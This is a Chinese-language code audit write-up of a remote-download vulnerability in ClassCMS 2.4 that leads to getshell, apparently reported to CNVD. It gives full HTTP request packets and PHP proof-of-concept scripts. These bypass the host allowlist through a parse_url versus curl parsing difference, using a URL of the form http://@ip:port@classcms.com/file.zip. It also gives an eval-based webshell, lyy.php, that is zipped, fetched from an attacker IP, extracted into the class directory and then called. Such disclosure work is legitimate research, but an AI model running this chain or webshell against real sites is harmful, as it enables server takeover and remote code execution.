|
原文链接:某CMS2.4代码审计
前言此次漏洞分析皆在本地测试,且漏洞已经提交至cnvd平台
漏洞url需要后台管理员权限
http:///ClassCMS/admin666?do=shop:downloadClass&ajax=1
漏洞点 

先放掉第一个请求包
- POST /admin666?do=shop:index&ajax=1&action=fileurl&from=install HTTP/1.1
- Host: classcms
- Content-Length: 43
- Accept: application/json, text/javascript, */*; q=0.01
- X-Requested-With: XMLHttpRequest
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
- Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- Origin: http://classcms
- Referer: http://classcms/admin666?do=shop:index&bread=%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E5%8D%95&action=detail&classhash=diyform
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Cookie: token_2ab421=9632c6413dde844887912fd77a75a07f; csrf_2ab421=1547308b
- Connection: close
- classhash=diyform&version=1.1&csrf=1547308b
复制代码

然后修改第二个请求包
- POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1
- Host: classcms
- Content-Length: 85
- Accept: application/json, text/javascript, */*; q=0.01
- X-Requested-With: XMLHttpRequest
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
- Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- Origin: http://192.168.159.1
- Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=338ceb00
- Connection: close
- classhash={dir}&url=http://@{ip}:{port}@classcms.com/{shell.zip}&csrf=338ceb00
复制代码

参数解析
发送之后返回:安装包格式错误,请重试
就说明已经成功被下载到目标服务器上并解压
最后访问url即可执行上传上的木马getshell
http://192.168.159.1/ClassCMS/class/{classhash的值}/{上传压缩包中的木马文件}
漏洞测试首先黑盒测试
在下载的第二个请求包中发现url参数解码为classcms官网的应用压缩包地址
- POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1
- Host: classcms
- Content-Length: 140
- Accept: application/json, text/javascript, */*; q=0.01
- X-Requested-With: XMLHttpRequest
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
- Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- Origin: http://classcms
- Referer: http://classcms/admin666?do=shop:index&bread=%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E5%8D%95&action=detail&classhash=diyform
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Cookie: token_2ab421=9632c6413dde844887912fd77a75a07f; csrf_2ab421=1547308b
- Connection: close
- classhash=diyform&url=http%3A%2F%2Fclasscms.com%2Fshop%2F%3Faction%3Ddownload%26version%3D1.1%26classhash%3Ddiyform%26token%3D&csrf=1547308b
复制代码
可能存在远程下载
http://classcms.com/shop/?action=download&version=1.1&classhash=diyform&token=
尝试修改url,得到报错回显

Unicode解码得到 :下载失败
进行白盒测试
回到源码来,通过全局搜索报错提示(下载失败)定位到源码在/class/shop/shop.php中
 
一处为在downloadClass函数中一处在upgradeClass函数中,观察功能显然是在downloadClass中
- function downloadClass() {
- 。。。。。。
- if(!C('this:download',$url,$classfile)) {
- Return C('cms:common:echoJson',array('msg'=>"下载失败",'error'=>1));
- }
- 。。。。。。
- }
复制代码
在this(当前文件shop.php)->download函数下,定位到关键函数
- function download($url,$filepath) {
- $hosts=array_merge(explode(';',C('this:defaultHost')),array(config('host')));
- if($defaulthost=config('defaulthost')) {
- $hosts=array_merge($hosts,explode(';',$defaulthosts));
- }
- $checkurl=parse_url($url);
- if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
- Return false;
- }
- $curl=curl_init();
- curl_setopt($curl,CURLOPT_URL,$url);
- if(!$fp = @fopen ($filepath,'w+')) {
- Return false;
- }
- curl_setopt($curl,CURLOPT_FILE, $fp);
- curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);
- curl_setopt($curl,CURLOPT_TIMEOUT,300);
- curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);
- curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);
- curl_setopt($curl,CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
- curl_setopt($curl,CURLOPT_POST,1);
- curl_setopt($curl,CURLOPT_POSTFIELDS,C('this:shopInfo'));
- $info=curl_exec($curl);
- $httpinfo=curl_getinfo($curl);
- curl_close($curl);
- fclose($fp);
- if($httpinfo['http_code']>=300) {@unlink($filepath);Return false;}
- Return $info;
- }
复制代码
函数首先获取了默认允许的host,在this(前文件下)->defaultHost函数中
 
只允许 classcms.com;classcms.uuu.la
这里可以抓包调试一下,可以看到确实是获取了这两个根域(虽然数组是三个)
 
然后将我们传入的url (这里是http://192.168.159.1/1.txt) 通过parse_url函数解析后在判断是否是在数组中
我们的攻击url也就是down在了这里,那么目标就是绕过这个判断然后执行接下来的curl命令
if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) { Return false; }前一个条件存在是肯定满足的,那么只需要让经过parse_url解析过的host键值和数组相等即可
这里利用php中的parse_url函数和lib_curl对url的解析差异,导致了对host的过滤失效来进行绕过
- php-curl拓展解析的url host在第首个@之后
- 而parse_url则是最后一个@之后
所以构造处payload
http://@192.168.159.1:80@classcms.com/1.zip
本地尝试绕过
- <?php
- $hosts = ["classcms.com","classcms.uuu.la","classcms.com"];
- $url = "http://@192.168.159.1:80@classcms.com/1.zip";
- $checkurl = parse_url($url);
- var_dump($checkurl);
- if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
- echo "nono!";
- }else{
- echo "success!";
- }
- ?>
复制代码
成功绕过

绕过之后尝试执行curl
- <?php
- $hosts = ["classcms.com","classcms.uuu.la","classcms.com"];
- $url = "http://@192.168.159.1:80@classcms.com/1.zip";
- $checkurl = parse_url($url);
- //var_dump($checkurl);
- if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
- echo "nono!";
- }else{
- echo "success!";
- $curl=curl_init();
- curl_setopt($curl,CURLOPT_URL,$url);
- curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);
- curl_setopt($curl,CURLOPT_TIMEOUT,300);
- curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);
- curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);
- curl_setopt($curl,CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
- curl_setopt($curl,CURLOPT_POST,1);
- $info=curl_exec($curl);
- $httpinfo=curl_getinfo($curl);
- var_dump($info,$httpinfo);
- curl_close($curl);}
- ?>
复制代码
成功执行curl完成远程下载

那么构造一个木马文件 lyy.php
<?php phpinfo();@eval($_POST['lyy']);?>
压缩成zip文件 lyy.zip 然后构造请求包
- POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1
- Host: classcms
- Content-Length: 66
- Accept: application/json, text/javascript, */*; q=0.01
- X-Requested-With: XMLHttpRequest
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
- Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- Origin: http://classcms
- Referer: http://classcms/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Cookie: token_2ab421=9632c6413dde844887912fd77a75a07f; csrf_2ab421=1547308b;
- Connection: close
- classhash=test&url=http://@192.168.159.1:80@classcms.com/lyy.zip&csrf=1547308b
复制代码

可以看到已经成功绕过那个if条件,并且执行curl下载成功(返回true)
 
虽然最后还是报错安装包格式错误,请重试
但是可以看到他在unzip方法处理后的if中而不是else中,说明已经成功下载并解压
 
而cms目录下的class.php中的unzip也很简单
- function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true) {
- if(class_exists('ZipArchive')) {
- $zip = new ZipArchive;
- if ($zip->open($src_file) === TRUE) {
- if(@$zip->extractTo($dest_dir)) {
- $zip->close();
- Return true;
- }
- $zip->close();
- }
- 。。。
- }
复制代码
- $src_file就是D:\phpStudy\PHPTutorial\WWW\ClassCMS\cache\shop\89a5f4d7d35347db4dd558079c11a612.class
- $dest_dir就是D:\phpStudy\PHPTutorial\WWW\ClassCMS\class\test\
所以函数的作用就是存在ZipArchive类(php_zip拓展,默认开启)时,解压临时文件内容到/class/{classhash参数值}的目录
所以最后木马文件的访问执行payload为
http://ClassCMS/class/{classhash的值}/{上传压缩包中的木马文件}这里为http://ClassCMS/class/test/lyy.php
成功执行代码并getshell
 
 
后记这个漏洞是php curl 和 parse_url的解析差异导致的,是2017年blackhat上orange师傅的: A New Era of SSRF 中提到的
在较新版本的curl(curl>=7.54.0)中已经修复了多个@的解析问题,使用多个@会报错
由于没有找到php和curl对应版本资料(哪位大师傅知道可以告诉我),这里我测试了phpstudy上的所有php版本,下面两个已经修复
 
|
|